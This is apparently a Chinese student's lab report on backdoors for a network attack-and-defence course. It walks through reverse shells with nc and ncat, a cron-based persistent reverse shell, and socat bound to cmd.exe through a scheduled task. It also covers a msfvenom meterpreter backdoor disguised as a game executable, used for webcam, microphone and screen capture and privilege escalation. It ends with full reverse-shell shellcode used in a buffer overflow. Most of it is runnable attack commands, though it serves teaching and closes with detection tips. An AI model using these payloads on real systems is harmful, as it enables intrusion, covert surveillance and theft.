欢迎来到网络对抗路 实验二 后门原理与实践
实验二 后门原理与实践
实验知识储备
1、什么是后门
概念:后门是指绕过安全控制而获取对程序或系统访问权的方法。
可能存在的位置:
- 编译器留后门
- 操作系统留后门
- 应用程序中留后门
- 潜伏于操作系统中或伪装为特定应用的专用后门程序。
后门满足以下几个特点:
- 特指潜伏于操作系统中专门做后门的一个程序
- 恶意攻击者可以连接这个程序
- 远程执行各种指令
- 概念和木马有重叠
2、常用后门工具
NC是一个底层工具,进行基本的TCP UDP数据收发。常被与其他工具结合使用,起到后门的作用。
- windows可以通过下载教学附件中的“ncat.rar”解压使用
- mac、linux自带nc,可以通过“man nc”查看使用说明
参数 | 描述 |
---|---|
-g<网关> | 设置路由器跃程通信网关,最多设置8个 |
-G<指向器数目> | 设置来源路由指向器,其数值为4的倍数 |
-h | 在线帮助 |
-i<延迟秒数> | 设置时间间隔,以便传送信息及扫描通信端口 |
-l | 使用监听模式,监控传入的资料 |
-n | 直接使用ip地址,而不通过域名服务器 |
-o<输出文件> | 指定文件名称,把往来传输的数据以16进制字码倾倒成该文件保存 |
-p<通信端口> | 设置本地主机使用的通信端口 |
-r | 指定源端口和目的端口都进行随机的选择 |
-s<来源位址> | 设置本地主机送出数据包的IP地址 |
-u | 使用UDP传输协议 |
-v | 显示指令执行过程 |
-w | 设置等待连线的时间 |
-z | 使用0输入/输出模式,只在扫描通信端口时使用 |
Kali获取windows的shell
首先在Kali终端输入ifconfig查找IP地址
- linux输入nc -l -p 5308开启监听
- windows在cmd中输入./ncat.exe -e cmd.exe 192.168.118.136 5308反弹连接kali(这里是终端需要用./ncat,正常应该直接natcat)
- 此时回到kali,可以看到windows的cmd命令提示
Windows获取Kali的shell
- windows在cmd中输入ipconfig获取自身IP地址“172.16.228.223”
- windows在ncat文件夹中输入ncat.exe -l -p 5308开始监听
- kali输入nc 172.16.228.223 5308 -e /bin/sh反弹连接win
- 此时回到windows,可以发现打开了kali的shell,可以正常输入命令
Meterpreter
后门是一个程序,传统的理解是:有人编写一个后门程序,大家拿来用。更加系统的做法是编写一个能生成后门程序的平台,这个平台将后门各方面做成了可调整的参数,包括:
- 基本功能(基本的连接、执行指令)
- 扩展功能(如搜集用户信息、安装服务等功能)
- 编码模式
- 运行平台
- 运行参数
典型的平台包括有: - intersect
- Metaspolit的msfvenom指令
- Veil-evasion
在我们本次实验中学习如何使用msfvenom生成后门可执行文件Meterpreter
我们用到的命令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.118.136 LPORT=5317 -f exe > 20181208_backdoor.exe
1、启动cron
Cron是Linux下的定时任务,每一分钟运行一次,根据配置文件执行预设的指令。
Windows系统下监听端口5317,Linux系统下,输入指令crontab -e
,并选择3进入编辑模式,在最后一行添加33 * * * * /bin/netcat 192.168.118.136 5317 -e /bin/sh
,表示每个小时的第33分钟执行后面的那条指令。
linux在33分钟时连接Windows,这是一个反弹连接式后门,监听的windows连接后可获得shell。
2、使用nc传输数据
Windows下使用ncat.exe -l 5317
监听5317端口,kali使用nc 192.168.118.136 5317反弹连接到Windows的5317端口,连接建立成功后双方可互传数据
3、使用nc传输文件
Windows下使用ncat.exe -l 5317 > mess.out
监听5317端口,并把收到的数据保存到mess.out中
kali使用nc 192.168.0.102 5317 < mess.in
反弹连接到Windows的5317端口,建立成功后,Windows可以收到kali发来的文件
可以在目录下找到mess.out,打开后可以看到内容与mess.in一致
将文件从Windows传给kali首先要将kali虚拟机的ssh服务端口打开,之后就只需使kali监听5317端口,Windows反弹连接kali的5317端口,建立成功后,kali可以收到Windows发来的文件。
Socat
1、首先下载socat,在老师给的附件里有,下载完成后打开计算机管理,在“任务计划程序”中“创建任务”,填写任务名并新建一个触发器。
在操作中的程序或脚本中选择你的socat.exe文件的路径,在添加参数一栏填写tcp-listen:5317 exec:cmd.exe,pty,stderr
这个命令的作用是把cmd.exe绑定到端口5317,同时把cmd.exe的stderr重定向到stdout上
新建一个触发器,选择按预定计划,其他设置自行设定
注销账户重新登陆后就可以看到任务已经在运行了
到达触发时间后任务自动运行
在kali输入指令socat - tcp:172.16.228.223:5317
,连接到Windows主机的5317端口,此时可以获得Windows的shell
MSF meterpreter
使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
使用kali攻击win10,首先在Kali上执行指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.16.228.223 LPORT=5317 -f exe > Counter-Strike20181208.exe
注意这里的IP地址为控制端IP,即kali的IP,后门程序为Counter-Strike20181208.exe
在Windows下执行ncat.exe -lv 5317 > Counter-Strike20181208.exe
指令,查看当前的连接状态
在kali中使用nc 172.16.228.223 5317 < Counter-Strike20181208.exe传输后门程序,传输成功win10的cmd中会出现传输信息
在Kali上使用msfconsole指令进入msf控制台
- 输入use exploit/multi/handler使用监听模块,设置payload
- set payload windows/meterpreter/reverse_tcp,使用和生成后门程序时相同的payload
- set LHOST 192.168.0.115,这里用的是生成后门程序时指定的IP
- set LPORT 5317,同样要使用相同的端口
使用exploit开始监听,运行Windows中的后门程序
在cmd中运行Windows下的后门程序,这时Kali上获得了Windows主机的shell,经测试可以使用
使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
1、使用record_mic -d 5指令可以截获一段时长5s的音频,录制完毕会告诉你他的保存路径,打开后就可以发现这是来自未知艺术家的5秒音频QAQ
2、webcam_snap
指令可以使用摄像头进行拍照,拍摄完毕桌面会出现一张JPEG图像,我将笔记本的摄像头驱动关掉了
3、获取击键记录
screenshot
指令可以进行截屏
4、查看用户与提权
getuid
指令可以查看当前用户,getsystem
指令进行提权操作
使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。
网站中搜索linux/x86 - Reverse下载了反弹连接的shellcode
之后像实验一一样做好环境配置,使用echo "0" > /proc/sys/kernel/randomize_va_space
关闭地址随机化
使用如下命令使输出重定向>将perl生成的字符串存储到文件input_shellcode中
perl -e 'print "A" x 32;print"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\xb8\x80\xff\xff\xfe\x83\xf0\xff\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\xb2\x10\x31\xc0\x66\xb8\x6a\x01\xcd\x80\x85\xc0\x75\x24\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xb3\x01\x31\xc0\xb0\x01\xcd\x80"' > input_shellcode
打开一个终端使用(cat input_shellcode;cat) | ./pwn1注入这段攻击buf
再开另外一个终端,用gdb来调试pwn1这个进程。输入ps -ef | grep pwn1找到pwn1的进程号
之后启动gdb使用attach调试这个进程。使用disassemble foo查看到ret的地址
0xffffd38c存放的数据是80cd01b0,那么shellcode地址就是0xffffd390,修改并生成input文件
perl -e 'print "A" x 32;print"\x90\xd3\xff\xff\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\xb8\x80\xff\xff\xfe\x83\xf0\xff\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\xb2\x10\x31\xc0\x66\xb8\x6a\x01\xcd\x80\x85\xc0\x75\x24\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xb3\x01\x31\xc0\xb0\x01\xcd\x80"' > input
打开msf控制台依次输入
use exploit/multi/handler
,用于设置payload
set payload linux/x86/shell_reverse_tcp
set LHOST 127.0.0.1
,设置IP为回环地址
set LPORT 4444
,根据代码设置端口
exploit
,设置完成开始监听
使用(cat input;cat) | ./pwn1将input输入,通过管道符“|”,作为pwn1的输入。
这时在msf控制台可以看到已经成功调取了shell
实验收获与感想
通过本次实验使我对后门有了更加深刻的认识,能从自己的设备上获取摄像头麦克风和键入信息还是蛮可怕的!
问题回答
(1)例举你能想到的一个后门进入到你系统中的可能方式?
从第三方网站安装软件(使用陌生人给的U盘并打开里面的文件)
(2)例举你知道的后门如何启动起来(win及linux)的方式?
捆绑到某应用程序或添加到启动项;设定某条件,达到条件激活后门打开,比如本实验中的socat
(3)Meterpreter有哪些给你映像深刻的功能?
在电脑用户不知情的情况下获取计算机的键入情况,麦克风的使用情况与截屏……用户的键入情况被窃取可能会带来信息的泄露,会造成用户隐私以及重要数据外泄。
(4)如何发现自己有系统有没有被安装后门?
最简单的方法是使用杀毒软件查杀,开启监控并及时更新病毒库。
其次查看自己计算机的端口开放情况,关闭多余的端口
查看注册表和启动项,清除可疑进程